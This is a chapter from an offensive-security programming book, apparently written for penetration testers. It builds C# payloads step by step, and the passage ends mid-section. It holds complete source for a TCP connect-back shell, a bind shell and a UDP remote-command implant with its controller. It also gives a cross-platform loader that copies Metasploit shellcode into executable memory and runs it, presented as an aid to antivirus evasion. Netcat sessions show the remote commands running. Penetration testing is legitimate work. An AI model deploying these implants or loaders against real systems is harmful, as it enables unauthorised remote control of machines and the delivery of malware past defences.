4
WRITING CONNECT-BACK, BINDING, AND METASPLOIT PAYLOADS

image

As a penetration tester or a security engineer, it’s really useful to be able to write and customize payloads on the fly. Often, corporate environments will differ drastically from one to the next, and “off-the-shelf” payloads by frameworks such as Metasploit are simply blocked by intrusion detection/prevention systems, network access controls, or other variables of the network. However, Windows machines on corporate networks almost always have the .NET framework installed, which makes C# a great language to write payloads in. The core libraries available to C# also have excellent networking classes that allow you to hit the ground running in any environment.

The best penetration testers know how to build custom payloads, tailored for particular environments, in order to stay under the radar longer, maintain persistence, or bypass an intrusion detection system or firewall. This chapter shows you how to write an assortment of payloads for use over TCP (Transmission Control Protocol) and UDP (User Datagram Protocol). We’ll create a cross-platform UDP connect-back payload to bypass weak firewall rules and discuss how to run arbitrary Metasploit assembly payloads to aid in antivirus evasion.

Creating a Connect-Back Payload

The first kind of payload we’ll write is a connect-back, which allows an attacker to listen for a connection back from the target. This type of payload is useful if you don’t have direct access to the machine that the payload is being run on. For example, if you are outside the network performing a phishing campaign with Metasploit Pro, this type of payload allows the targets to reach outside the network to connect with you. The alternative, which we’ll discuss shortly, is for the payload to listen for a connection from the attacker on the target’s machine. Binding payloads like these are most useful for maintaining persistence when you can get network access.

The Network Stream

We’ll use the netcat utility available on most Unix-like operating systems to test our bind and connect-back payloads. Most Unix operating systems come with netcat preinstalled, but if you want to use it on Windows, you must download the utility with Cygwin or as an independent binary (or build from source!). First, set up netcat to listen for the connection back from our target, as shown in Listing 4-1.

$ nc -l 4444

Listing 4-1: Listening on port 4444 using netcat

Our connect-back payload needs to create a network stream to read from and write to. As you can see in Listing 4-2, the first lines of the payload’s Main() method create this stream for later use based on arguments passed to the payload.

public static void Main(string[] args)
{
  using (TcpClient client = new TcpClient(args[0], int.Parse(args[1])))
  {
    using (Stream stream = client.GetStream())
    {
      using (StreamReader rdr = new StreamReader(stream))
      {

Listing 4-2: Creating the stream back to the attacker using payload arguments

The TcpClient class constructor takes two arguments: the host to connect to as a string and the port to connect to on the host as an int. Using the arguments passed to the payload, and assuming the first argument is the host to connect to, we pass the arguments to the TcpClient constructor . Since by default the arguments are strings, we don’t need to cast the host to any special type, only the port.

The second argument, which specifies the port to connect to, must be given as an int. In order to achieve this, we use the int.Parse() static method to convert the second argument from a string to an int. (Many types in C# have a static Parse() method that converts one type to another.) After instantiating the TcpClient, we call the client’s GetStream() method and assign it to the variable stream, which we’ll read from and write to. Finally, we pass the stream to a StreamReader class constructor so that we can easily read the commands coming from the attacker.

Next, we need the payload to read from the stream as long as we are sending commands from our netcat listener. For this we’ll use the stream created in Listing 4-2, as shown in Listing 4-3.

    while (true)
    {
      string cmd = rdr.ReadLine();

      if (string.IsNullOrEmpty(cmd))
      {
        rdr.Close();
        stream.Close();
        client.Close();
        return;
      }

      if (string.IsNullOrWhiteSpace(cmd))
        continue;

      string[] split = cmd.Trim().Split(' ');
      string filename = split.First();
      string arg = string.Join(" ", split.Skip(1));

Listing 4-3: Reading the command from the stream and parsing the command from the command arguments

Within an infinite while loop, the StreamReader ReadLine() method reads a line of data from the stream, which is then assigned to the cmd variable. We determine what a line of data is based on where a newline character appears in the data stream ( , or 0x0a in hexadecimal). If the string returned by ReadLine() is empty or null, we close the stream reader, the stream, and the client, and then return from the program. If the string contains only whitespace , we start the loop over using continue, which brings us back to the ReadLine() method to start over.

After reading the command to be run from the network stream, we separate the arguments to the command from the command itself. For example, if an attacker sends the command ls -a, the command is ls, and the argument to the command is -a.

To separate out the arguments, we use the Split() method to split the full command on every space in the string and then return an array of strings. The string array is a result of splitting the whole command string by the delimiter passed as the argument to the Split() method, which in our case is a space. Next, we use the First() method , which is available in the System.Linq namespace for enumerable types such as arrays, to select the first element in the string array returned by the split, and we assign it to the string filename to hold our base command. This should be the actual command name. Then, the Join() method joins all but the first string in the split array with a space as the joining character. We also use the LINQ method Skip() to skip the first element in the array that was stored in the filename variable. The resulting string should contain all arguments passed to the command. This new string is assigned to the string arg.

Running the Command

Now we need to run the command and return the output to the attacker. As shown in Listing 4-4, we use the Process and ProcessStartInfo classes to set up and run the command and then write the output back to the attacker.

          try
          {
            Process prc = new Process();
            prc.StartInfo = new ProcessStartInfo();
            prc.StartInfo.FileName = filename;
            prc.StartInfo.Arguments = arg;
            prc.StartInfo.UseShellExecute = false;
            prc.StartInfo.RedirectStandardOutput = true;
            prc.Start();
            prc.StandardOutput.BaseStream.CopyTo(stream);
            prc.WaitForExit();
          }
          catch
          {
            string error = "Error running command " + cmd + " ";
            byte[] errorBytes = Encoding.ASCII.GetBytes(error);
            stream.Write(errorBytes, 0, errorBytes.Length);
          }
        }
      }
    }
  }
}

Listing 4-4: Running the attacker-supplied command to the connect-back payload and returning the output

After instantiating a new Process class , we assign a new ProcessStartInfo class to the StartInfo property of the Process class, which allows us to define certain options for the command so that we can get the output. Having assigned the StartInfo property with a new ProcessStartInfo class, we then assign values to the StartInfo properties: the FileName property , which is the command we want to run, and the Arguments property , which contains any arguments for the command.

We also assign the UseShellExecute property to false and the RedirectStandardOutput property to true. If UseShellExecute were set to true, the command would be run in the context of another system shell, rather than directly by the current executable. With RedirectStandardOutput set to true, we can use the StandardOutput property of the Process class to read the command output.

Once the StartInfo property is set, we call Start() on the Process to begin execution of the command. While the process is running, we copy its standard output directly to the network stream to send to the attacker using CopyTo() on the StandardOutput stream’s BaseStream property. If an error occurs during execution, Encoding.ASCII.GetBytes() converts the string Error running command <cmd> to a byte array, which is then written to the network stream for the attacker using the stream’s Write() method .

Running the Payload

Running the payload with 127.0.0.1 and 4444 as the arguments should connect back to our netcat listener so that we can run commands on the local machine and display them in the terminal, as shown in Listing 4-5.

$ nc -l 4444
whoami
bperry
uname
Linux

Listing 4-5: Connect-back payload connecting to the local listener and running commands

Binding a Payload

When you’re on a network with direct access to the machines that could be running your payloads, you’ll sometimes want the payloads to wait for you to connect to them, rather than you waiting for a connection from them.

In such cases, the payloads should bind locally to a port that you can simply connect to with netcat so you can begin interacting with the system’s shell.

In the connect-back payload, we used the TcpClient class to create a connection to the attacker. Here, instead of using the TcpClient class, we’ll use the TcpListener class to listen for a connection from the attacker, as shown in Listing 4-6.

  public static void Main(string[] args)
  {
    int port = int.Parse(args[0]);
    TcpListener listener = new TcpListener(IPAddress.Any, port);
    try
    {
      listener.Start();
    }
    catch
    {
      return;
    }

Listing 4-6: Starting a TcpListener on a given port via command arguments

Before we start listening, we convert the argument passed to the payload to an integer using int.Parse() , which will be the port to listen on. Then we instantiate a new TcpListener class by passing IPAddress.Any as the first argument to the constructor and the port we want to listen on as the second argument. The IPAddress.Any value passed as the first argument tells the TcpListener to listen on any available interface (0.0.0.0).

Next, we attempt to begin listening on the port in a try/catch block. We do so because calling Start() could throw an exception if, for example, the payload is not running as a privileged user and it attempts to bind to a port number less than 1024, or if it attempts to bind to a port already bound to by another program. By running Start() in a try/catch block, we can catch this exception and exit gracefully if necessary. Of course, if Start() succeeds, the payload will begin listening for a new connection on that port.

Accepting Data, Running Commands, and Returning Output

Now we can begin accepting data from the attacker and parsing the commands, as shown in Listing 4-7.

   while (true)
    {
    using (Socket socket = listener.AcceptSocket())
    {
      using (NetworkStream stream = new NetworkStream(socket))
      {
        using (StreamReader rdr = new StreamReader(stream))
        {
          while (true)
          {
           string cmd = rdr.ReadLine();

           if (string.IsNullOrEmpty(cmd))
           {
             rdr.Close();
             stream.Close();
             listener.Stop();
             break;
           }

           if (string.IsNullOrWhiteSpace(cmd))
             continue;

             string[] split = cmd.Trim().Split(' ');
             string filename = split.First();
             string arg = string.Join(" ", split.Skip(1));

Listing 4-7: Reading the command from the network stream and splitting the command from the arguments

In order to maintain persistence on the target after we disconnect from the payload, we instantiate a new NetworkStream class inside a technically infinite while loop by passing the Socket returned by listener.AcceptSocket() to the NetworkStream constructor . Then, in order to read the NetworkStream efficiently, within the context of a using statement, we instantiate a new StreamReader class by passing the network stream to the StreamReader constructor. Once we have the StreamReader set up, we use a second infinite while loop to continue reading commands until an empty line is sent to the payload by the attacker.

To parse and execute commands from the stream and return the output to the connecting attacker, we declare a series of string variables within the inner while loop and split the original input on any spaces in the string . Next, we take the first element from the split and assign it as the command to be run, using LINQ to select the first element in the array . We then use LINQ again to join all the strings in the split array after the first element and assign the resulting string (with the argument separated by spaces) to the arg variable.

Executing Commands from the Stream

Now we can set up our Process and ProcessStartInfo classes to run the command with the arguments, if any, and capture the output, as shown in Listing 4-8.

                try
                {
                  Process prc = new Process();
                  prc.StartInfo = new ProcessStartInfo();
                  prc.StartInfo.FileName = filename;
                  prc.StartInfo.Arguments = arg;
                  prc.StartInfo.UseShellExecute = false;
                  prc.StartInfo.RedirectStandardOutput = true;
                  prc.Start();
                  prc.StandardOutput.BaseStream.CopyTo(stream);
                  prc.WaitForExit();
                }
                catch
                {
                  string error = "Error running command " + cmd + " ";
                  byte[] errorBytes = Encoding.ASCII.GetBytes(error);
                  stream.Write(errorBytes, 0, errorBytes.Length);
                }
              }
            }
          }
        }
      }
    }
  }
}

Listing 4-8: Running the command, capturing the output, and sending it back to the attacker

As with the connect-back payload discussed in the previous section, in order to run the command, we instantiate a new Process class and assign a new ProcessStartInfo class to the Process class’s StartInfo property. We set the command filename to the FileName property in StartInfo and set the Arguments property with the arguments to the command. We then set the UseShellExecute property to false so that our executable starts the command directly, and we set the RedirectStandardOutput property to true so we can capture the command output and return it to the attacker.

To start the command, we call the Process class’s Start() method . While the process is running, we copy the standard output stream directly to the network stream sent to the attacker by passing it in as an argument to CopyTo() , and then we wait for the process to exit. If an error occurs, we convert the string Error running command <cmd> to an array of bytes using Encoding.ASCII.GetBytes() . The byte array is then written to the network stream and sent to the attacker using the stream’s Write() method .

Running the payload with 4444 as the argument will make the listener start listening on port 4444 on all available interfaces. We can now use netcat to connect to the listening port, as shown in Listing 4-9, and begin executing commands and returning their output.

$ nc 127.0.0.1 4444
whoami
bperry
uname
Linux

Listing 4-9: Connecting to the binding payload and executing commands

Using UDP to Attack a Network

The payloads discussed so far have used TCP to communicate; TCP is a stateful protocol that allows two computers to maintain a connection with each other over time. An alternative protocol is UDP, which, unlike TCP, is stateless: no connection is maintained between two networked machines when communicating. Instead, communication is performed via broadcasts across the network, with each computer listening for broadcasts to its IP address.

Another very important distinction between UDP and TCP is that TCP attempts to ensure that packets sent to a machine will reach that machine in the same order in which they were sent. In contrast, UDP packets may be received in any order, or not at all, which makes UDP less reliable than TCP.

UDP does, however, have some benefits. For one, because it doesn’t try to ensure that computers receive the packets it sends, it’s blazingly fast. It’s also not as commonly scrutinized on networks as TCP is, with some firewalls configured to handle TCP traffic only. This makes UDP is a great protocol to use when attacking a network, so let’s see how to write a UDP payload to execute a command on a remote machine and return the results.

Instead of using the TcpClient or TcpListener classes to achieve a connection and communicate, as in previous payloads, we’ll use the UdpClient and Socket classes over UDP. Both the attacker and target machines will need to listen for UDP broadcasts as well as maintain a socket to broadcast data to the other computer.

The Code for the Target’s Machine

The code to run on the target machine will listen on a UDP port for commands, execute those commands, and return the output to the attacker via a UDP socket, as shown in Listing 4-10.

   public static void Main(string[] args)
   {
     int lport = int.Parse(args[0]);
     using (UdpClient listener = new UdpClient(lport))
     {
       IPEndPoint localEP = new IPEndPoint(IPAddress.Any, lport);
       string cmd;
       byte[] input;

Listing 4-10: First five lines of the Main() method for the target code

Before sending and receiving data, we set up a variable for the port to listen on. (To keep things simple, we’ll have both the target and attacker machines listen for data on the same port, but this assumes we are attacking a separate virtual machine). As shown in Listing 4-10, we use Parse() to turn the string passed as an argument into an integer, and then we pass the port to the UdpClient constructor to instantiate a new UdpClient. We also to set up the IPEndPoint class , which encompasses a network interface and a port, by passing in IPAddress.Any as the first argument and the port to listen on as the second argument. We assign the new object to the localEP (local endpoint) variable. Now we can begin receiving data from network broadcasts.

The Main while Loop

As shown in Listing 4-11, we begin with a while loop that loops continuously until an empty string is received from the attacker.

  while (true)
  {
    input = listener.Receive(ref localEP);
    cmd = Encoding.ASCII.GetString(input, 0, input.Length);
    if (string.IsNullOrEmpty(cmd))
    {
      listener.Close();
      return;
    }

    if (string.IsNullOrWhiteSpace(cmd))
      continue;

    string[] split = cmd.Trim().Split(' ');
    string filename = split.First();
    string arg = string.Join(" ", split.Skip(1));
    string results = string.Empty;

Listing 4-11: Listening for UDP broadcasts with commands and parsing the command from the arguments

In this while loop, we call listener.Receive(), passing in the IPEndPoint class we instantiated. Receiving data from the attacker, Receive() fills the localEP Address property with the attacking host’s IP address and other connection information, so we can use this data later when responding. Receive() also blocks execution of the payload until a UDP broadcast is received.

Once a broadcast is received, Encoding.ASCII.GetString() converts the data to an ASCII string. If the string is null or empty, we break from the while loop and let the payload process finish and exit. If the string consists only of whitespace, we restart the loop using continue to receive a new command from the attacker. Once we’ve ensured that the command isn’t an empty string or whitespace, we split it on any spaces (same as we did in the TCP payloads) and then separate the command from the string array returned by the split . We then create the argument string by joining all the strings in the split array after the first array element .

Executing the Command and Returning the Result to the Sender

Now we can execute the command and return the result to the sender via a UDP broadcast, as shown in Listing 4-12.

          try
          {
            Process prc = new Process();
            prc.StartInfo = new ProcessStartInfo();
            prc.StartInfo.FileName = filename;
            prc.StartInfo.Arguments = arg;
            prc.StartInfo.UseShellExecute = false;
            prc.StartInfo.RedirectStandardOutput = true;
            prc.Start();
            prc.WaitForExit();
            results = prc.StandardOutput.ReadToEnd();
          }
          catch
          {
            results = "There was an error running the command: " + filename;
          }

          using (Socket sock = new Socket(AddressFamily.InterNetwork,
              SocketType.Dgram, ProtocolType.Udp))
          {
            IPAddress sender = localEP.Address;
            IPEndPoint remoteEP = new IPEndPoint(sender, lport);
            byte[] resultsBytes = Encoding.ASCII.GetBytes(results);
            sock.SendTo(resultsBytes, remoteEP);
          }
        }
      }
    }
  }
}

Listing 4-12: Executing the command received and broadcasting the output back to the attacker

As with the previous payloads, we use the Process and ProcessStartInfo classes to execute the command and return the output. We set up the StartInfo property with the filename and arg variables we used to store the command and command arguments, respectively, and we also set the UseShellExecute property and the RedirectStandardOutput property. We begin the new process by calling the Start() method and then wait until the process has finished execution by calling WaitForExit(). Once the command finishes, we call the ReadToEnd() method on the StandardOutput stream property of the process and save the output to the results string declared earlier. If an error occurred during process execution, we instead assign the string There was an error running the command: <cmd> to the results variable.

Now we need to set up the socket that will be used to return the command output to the sender. We’ll broadcast the data using a UDP socket. Using the Socket class, we instantiate a new Socket by passing enumeration values as the arguments to the Socket constructor. The first value, AddressFamily.InterNetwork, says we’ll be communicating using IPv4 addresses. The second value, SocketType.Dgram, means that we’ll be communicating using UDP datagrams (the D in UDP) instead of TCP packets. The third and final value, ProtocolType.Udp, tells the socket that we’ll be using UDP to communicate with the remote host.

After creating the socket to be used for communication, we assign a new IPAddress variable with the value of the localEP.Address property , which was previously filled with the attacker’s IP address upon receiving data on our UDP listener. We create a new IPEndPoint with the IPAddress of the attacker and the listening port that was passed as the argument to the payload.

Once we have the socket set up and we know where we are returning our command output, Encoding.ASCII.GetBytes() converts the output to a byte array. We use SendTo() on the socket to broadcast the data back to the attacker by passing the byte array containing the command output as the first argument and passing the sender’s endpoint as the second argument. Finally, we iterate back to the top of the while loop to read in another command.

The Attacker’s Code

In order for this attack to work, the attacker must be able to listen to and send UDP broadcasts to the correct host. Listing 4-13 shows the first bit of code to set up a UDP listener.

static void Main(string[] args)
{
  int lport = int.Parse(args[1]);
  using (UdpClient listener = new UdpClient(lport))
  {
    IPEndPoint localEP = new IPEndPoint(IPAddress.Any, lport);
    string output;
    byte[] bytes;

Listing 4-13: Setting up the UDP listener and other variables for the attacker-side code

Assuming that this code will take as arguments the host to send commands to and the port to listen on, we pass the port to listen on to Parse() in order to convert the string into an integer, and then we pass the resulting integer to the UdpClient constructor to instantiate a new UdpClient class. We then pass the listening port to the IPEndPoint class constructor, along with the IPAddress.Any value to instantiate a new IPEndPoint class . Once the IPEndPoint is set up, we declare the variables output and bytes for later use.

Creating the Variables to Send the UDP Broadcasts

Listing 4-14 shows how to create the variables to be used to send the UDP broadcasts.

   using (Socket sock = new Socket(AddressFamily.InterNetwork,
                                     SocketType.Dgram,
                                     ProtocolType.Udp))
   {
     IPAddress addr = IPAddress.Parse(args[0]);
     IPEndPoint addrEP = new IPEndPoint(addr, lport);

Listing 4-14: Creating the UDP socket and endpoint to communicate with

To begin, we instantiate a new Socket class within the context of a using block. The enumeration values passed to Socket tell the socket that we’ll be using IPv4 addressing, datagrams, and UDP to communicate via broadcasts. We instantiate a new IPAddress with IPAddress.Parse() to convert the first argument passed to the code to an IPAddress class. We then pass the IPAddress object and the port on which the target’s UDP listener will be listening to the IPEndPoint constructor in order to instantiate a new IPEndPoint class .

Communicating with the Target

Listing 4-15 shows how we can now send data to and receive data from the target.

      Console.WriteLine("Enter command to send, or a blank line to quit");
      while (true)
      {
        string command = Console.ReadLine();
        byte[] buff = Encoding.ASCII.GetBytes(command);

        try
        {
          sock.SendTo(buff, addrEP);

          if (string.IsNullOrEmpty(command))
          {
            sock.Close();
            listener.Close();
            return;
          }

          if (string.IsNullOrWhiteSpace(command))
            continue;

          bytes = listener.Receive(ref localEP);
          output = Encoding.ASCII.GetString(bytes, 0, bytes.Length);
          Console.WriteLine(output);
        }
        catch (Exception ex)
        {
          Console.WriteLine("Exception{0}", ex.Message);
        }
      }
    }
  }
}

Listing 4-15: Main logic to send and receive data to and from the target’s UDP listener

After printing some friendly help text on how to use this script, we begin sending commands to the target in a while loop. First, Console.ReadLine() reads in a line of data from standard input, which will become the command to send to the target’s machine. Then, Encoding.ASCII.GetBytes() converts this string into a byte array so that we can send it over the network.

Next, within a try/catch block, we attempt to send the byte array using SendTo() , passing in the byte array and the IP endpoint to send the data to. After sending the command string, we return out of the while loop if the string read from standard input was empty because we built the same logic into the target code. If the string is not empty, but is only whitespace, we return to the beginning of the while loop. Then we call Receive() on the UDP listener to block execution until the command output is received from the target, at which point Encoding.ASCII.GetString() converts the bytes received to a string that is then written to the attacker’s console. If an error occurs, we print an exception message to the screen.

As shown in Listing 4-16, after starting the payload on a remote machine, passing 4444 as the only argument to the payload, and starting the receiver on the attacker’s machine, we should be able to execute commands and receive output from the target.

$ /tmp/attacker.exe 192.168.1.31 4444
Enter command to send, or a blank line to quit
whoami
bperry
pwd
/tmp
uname
Linux

Listing 4-16: Communicating with the target machine over UDP in order to run arbitrary commands

Running x86 and x86-64 Metasploit Payloads from C#

The Metasploit Framework exploitation toolset, begun by HD Moore and now developed by Rapid7, has become the de facto penetration testing and exploit development framework for security professionals. Because it’s written in Ruby, Metasploit is cross-platform and will run on Linux, Windows, OS X, and a slew of other operating systems. As of this writing, there are more than 1,300 free Metasploit exploits written in the Ruby programming language.

In addition to its collection of exploits, Metasploit contains many libraries designed to make exploit development quick and generally painless. For example, as you’ll soon see, you can use Metasploit to help create a cross-platform .NET assembly to detect your operating system type and architecture and to run shellcode against it.

Setting Up Metasploit

As of this writing, Rapid7 develops Metasploit on GitHub (https://github.com/rapid7/metasploit-framework/). On Ubuntu, use git to clone the master Metasploit repository to your system, as shown in Listing 4-17.

$ sudo apt-get install git
$ git clone https://github.com/rapid7/metasploit-framework.git

Listing 4-17: Installing git and cloning the Metasploit Framework

NOTE

I recommend using Ubuntu when developing the next payload in this chapter. Of course, testing will also need to be done on Windows to ensure your OS detection and payloads work across both platforms.

Installing Ruby

The Metasploit Framework requires Ruby. If, after reading the Metasploit install instructions online, you find that you need a different version of Ruby installed on your Linux system, use RVM, the Ruby Version Manager (http://rvm.io/) to install it alongside any existing version of Ruby. Install the RVM maintainer’s GNU Privacy Guard (GPG) key and then install RVM on Ubuntu, as shown in Listing 4-18.

$ curl -sSL https://rvm.io/mpapis.asc | gpg --import -
$ curl -sSL https://get.rvm.io | bash -s stable

Listing 4-18: Installing RVM

Once RVM is installed, determine which version of Ruby the Metasploit Framework requires by viewing the .ruby-version file at the root of the Metasploit Framework, as shown in Listing 4-19.

$ cd metasploit-framework/
$ cat .ruby-version
2.1.5

Listing 4-19: Printing the contents of the .ruby-version file at the root of the Metasploit Framework

Now run the rvm command to compile and install the correct version of Ruby, as shown in Listing 4-20. This may take several minutes, depending on your internet and CPU speed.

$ rvm install 2.x

Listing 4-20: Installing the version of Ruby required by Metasploit

Once your Ruby install completes, set your bash environment to see it, as shown in Listing 4-21.

$ rvm use 2.x

Listing 4-21: Setting the installed version of Ruby as the default

Installing Metasploit Dependencies

Metasploit uses the bundler gem (a Ruby package) to manage dependencies. Change to the current Metasploit Framework git checkout directory on your machine and run the commands shown in Listing 4-22 to install the development libraries needed to build some of the gems required by the Metasploit Framework.

$ cd metasploit-framework/
$ sudo apt-get install libpq-dev libpcap-dev libxslt-dev
$ gem install bundler
$ bundle install

Listing 4-22: Installing Metasploit dependencies

Once all dependencies have been installed, you should be able to start the Metasploit Framework, as shown in Listing 4-23.

$ ./msfconsole -q
msf >

Listing 4-23: Starting Metasploit successfully

With msfconsole started successfully, we can begin using the other tools in the framework to generate payloads.

Generating Payloads

We’ll use the Metasploit tool msfvenom to generate raw assembly payloads to open programs on Windows or run commands on Linux. For example, Listing 4-24 shows how commands sent to msfvenom would generate an x86-64 (64-bit) payload for Windows that will pop up the calc.exe Windows calculator on the currently displayed desktop. (To see the msfvenom tool’s full list of options, run msfvenom --help from the command line.)

$ ./msfvenom -p windows/x64/exec -f csharp CMD=calc.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86_64 from the payload
No encoder or badchars specified, outputting raw payload
byte[] buf = new byte[276] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
--snip--
0x63,0x2e,0x65,0x78,0x65,0x00 };

Listing 4-24: Running msfvenom to generate a raw Windows payload that runs calc.exe

Here we pass in windows/x64/exec as the payload, csharp as the payload format, and the payload option CMD=calc.exe. You might also pass in something like linux/x86/exec with CMD=whoami to generate a payload that, when launched on a 32-bit Linux system, runs the command whoami.

Executing Native Windows Payloads as Unmanaged Code

Metasploit payloads are generated in 32- or 64-bit assembly code—called unmanaged code in the .NET world. When you compile C# code into a DLL or executable assembly, that code is referred to as managed code. The difference between the two is that the managed code requires a .NET or Mono virtual machine in order to run, whereas the unmanaged code can be run directly by the operating system.

To execute unmanaged assembly code within a managed environment, we’ll use .NET’s P/Invoke to import and run the VirtualAlloc() function from the Microsoft Windows kernel32.dll. This lets us allocate the readable, writable, and executable memory required, as shown in Listing 4-25.

class MainClass
{
  [DllImport("kernel32")]
  static extern IntPtr VirtualAlloc(IntPtr ptr, IntPtr size, IntPtr type, IntPtr mode);

  [UnmanagedFunctionPointer(CallingConvention.StdCall)]
  delegate void WindowsRun();

Listing 4-25: Importing the VirtualAlloc() kernel32.dll function and defining a Windows-specific delegate

At , we import VirtualAlloc() from kernel32.dll. The VirtualAlloc() function takes four arguments of type IntPtr, which is a C# class that makes passing data between managed and unmanaged code much simpler. At , we use the C# attribute DllImport (an attribute is like an annotation in Java or a decorator in Python) to tell the virtual machine to look for this function in the kernel32.dll library at runtime. (We’ll use the DllImport attribute to import functions from libc when executing Linux payloads.) At , we declare the delegate WindowsRun(), which has an UnmanagedFunctionPointer attribute that tells the Mono/.NET virtual machine to run this delegate as an unmanaged function. By passing CallingConvention.StdCall to the UnmanagedFunctionPointer attribute, we tell the Mono/.NET virtual machine to call VirtualAlloc() using the StdCall Windows calling convention.

First we need to write a Main() method to execute the payload according to the target system architecture, as shown in Listing 4-26.

public static void Main(string[] args)
{
  OperatingSystem os = Environment.OSVersion;
  bool x86 = (IntPtr.Size == 4);
  byte[] payload;

  if (os.Platform == PlatformID.Win32Windows || os.Platform == PlatformID.Win32NT)
  {
    if (!x86)
      payload = new byte[] { [... FULL x86-64 PAYLOAD HERE ...] };
    else
      payload = new byte[] { [... FULL x86 PAYLOAD HERE ...] };

    IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40);
   Marshal.Copy(payload, 0, ptr, payload.Length);
    WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun));
    r();
  }
}

Listing 4-26: Small C# class wrapping two Metasploit payloads

To determine the target operating system, we capture the variable Environment.OSVersion , which has a Platform property that identifies the current system (as used in the if statement). To determine the target architecture, we compare the size of an IntPtr to the number 4 because on a 32-bit system, a pointer is 4 bytes long, but on a 64-bit system, it’s 8 bytes long. We know that if the IntPtr size is 4, we are on a 32-bit system; otherwise, we assume the system is 64-bit. We also declare a byte array called payload to hold our generated payload.

Now we can set up our native assembly payload. If the current operating system matches a Windows PlatformID (a list of known platforms and operating system versions), we assign a byte array to the payload variable according to the system’s architecture.

To allocate the memory required to execute the raw assembly code, we pass four arguments to VirtualAlloc() . The first argument is IntPtr.Zero, which tells VirtualAlloc() to allocate the memory at the first viable location. The second argument is the amount of memory to allocate, which will equal the length of the current payload. This argument is cast to an IntPtr class that the unmanaged function understands in order for it to allocate enough memory to fit our payload.

The third argument is a magic value defined in kernel32.dll that maps to the MEM_COMMIT option, telling VirtualAlloc() to allocate the memory right away. This argument defines the mode in which the memory should be allocated. Finally, 0x40 is a magic value defined by kernel32.dll that maps to the RWX (read, write, and execute) mode that we want. The VirtualAlloc() function will return a pointer to our newly allocated memory so we know where our allocated memory region begins.

Now Marshal.Copy() copies our payload directly into the allocated memory space. The first argument passed to Marshal.Copy() is the byte array we want to copy into the allocated memory. The second is the index in the byte array to begin copying at, and the third is where to begin copying to (using the pointer returned by the VirtualAlloc() function). The last argument is how many bytes from the byte array we want to copy into the allocated memory (all).

Next, we reference the assembly code as an unmanaged function pointer using the WindowsRun delegate we defined at the top of the MainClass. We use the Marshal.GetDelegateForFunctionPointer() method to create a new delegate by passing the pointer to the beginning of our assembly code and the type of delegate as the first and second arguments, respectively. We cast the delegate returned by this method to our WindowsRun delegate type and then assign it to a new variable of the same WindowsRun type. Now all that’s left is to call this delegate as if it were a function and execute the assembly code we copied into memory.

Executing Native Linux Payloads

In this section, we look at how to define payloads that can be compiled once and run on both Linux and Windows. But first we need to import a few functions from libc and define our Linux unmanaged function delegate, as shown in Listing 4-27.

  [DllImport("libc")]
  static extern IntPtr mprotect(IntPtr ptr, IntPtr length, IntPtr protection);

  [DllImport("libc")]
  static extern IntPtr posix_memalign(ref IntPtr ptr, IntPtr alignment, IntPtr size);

  [DllImport("libc")]
  static extern void free(IntPtr ptr);

  [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  delegate void LinuxRun();

Listing 4-27: Setting up the payload to run the generated Metasploit payloads

We add the lines shown in Listing 4-27 at the top of the MainClass near our Windows function import. We import three functions from libc—mprotect(), posix_memalign(), and free()—and define a new delegate called LinuxRun . This has the UnmanagedFunctionPointer attribute, like our WindowsRun delegate. However, instead of passing CallingConvention.StdCall as we did in Listing 4-25, we pass CallingConvention.Cdecl , because cdecl is the calling convention of native functions in a Unix-like environment.

In Listing 4-28, we now add an else if statement to our Main() method, following the if statement that tests whether we are on a Windows machine (refer to in Listing 4-26).

else if ((int)os.Platform == 4 || (int)os.Platform == 6 || (int)os.Platform == 128)
{
  if (!x86)
    payload = new byte[] { [... X86-64 LINUX PAYLOAD GOES HERE ...] };
  else
    payload = new byte[] { [... X86 LINUX PAYLOAD GOES HERE ...] };

Listing 4-28: Detecting the platform and assigning the appropriate payload

The original PlatformID enumeration from Microsoft did not include values for non-Windows platforms. As Mono has developed, unofficial values for Unix-like system Platform properties have been introduced, so we test the value of Platform directly against magic integer values rather than well-defined enumeration values. The values 4, 6, and 128 can be used to determine whether we’re running a Unix-like system. Casting the Platform property to an int allows us to compare the Platform value to the integer values 4, 16, and 128.

Once we determine that we’re running on a Unix-like system, we can set up the values we need in order to execute our native assembly payloads. Depending on our current architecture, the payload byte array will be assigned either our x86 or x86-64 payload.

Allocating Memory

Now we begin allocating the memory to insert our assembly into memory, as shown in Listing 4-29.

   IntPtr ptr = IntPtr.Zero;
   IntPtr success = IntPtr.Zero;
   bool freeMe = false;
 try
 {
   int pagesize = 4096;
   IntPtr length = (IntPtr)payload.Length;
   success = posix_memalign(ref ptr, (IntPtr)32, length);
   if (success != IntPtr.Zero)
   {
     Console.WriteLine("Bail! memalign failed: " + success);
     return;
   }

Listing 4-29: Allocating the memory using posix_memalign()

First, we define a few variables: ptr, which should be assigned the pointer at the beginning of our allocated memory by posix_memalign(), if all goes well; success, which will be assigned the value returned by posix_ memalign() if our allocation succeeds; and the Boolean value freeMe, which will be true when the allocation succeeds so that we know when we need to free the allocated memory. (We assign freeMe a value of false in case allocation fails.)

Next we start a try block to begin the allocation so we can catch any exceptions and exit the payload gracefully if an error occurs. We set a new variable called pagesize to 4096, which is equal to the default memory page size on most Linux installations.

After assigning a new variable called length, which contains the length of our payload cast to an IntPtr, we call posix_memalign() by passing the ptr variable by reference so that posix_memalign() can alter the value directly without having to pass it back. We also pass the memory alignment (always a multiple of 2; 32 is a good value) and the amount of memory we want to allocate. The posix_memalign() function will return IntPtr.Zero if the allocation succeeds, so we check for this. If IntPtr.Zero was not returned, we print a message about posix_memalign() failing and then return and exit from the payload. If the allocation is successful, we change the mode of the allocated memory to be readable, writable, and executable, as shown in Listing 4-30.

   freeMe = true;
   IntPtr alignedPtr = (IntPtr)((int)ptr & ~(pagesize - 1)); //get page boundary
   IntPtr mode = (IntPtr)(0x04 | 0x02 | 0x01); //RWX -- careful of selinux
   success = mprotect(alignedPtr, (IntPtr)32, mode);
   if (success != IntPtr.Zero)
   {
     Console.WriteLine("Bail! mprotect failed");
     return;
   }

Listing 4-30: Changing the mode of the allocated memory

NOTE

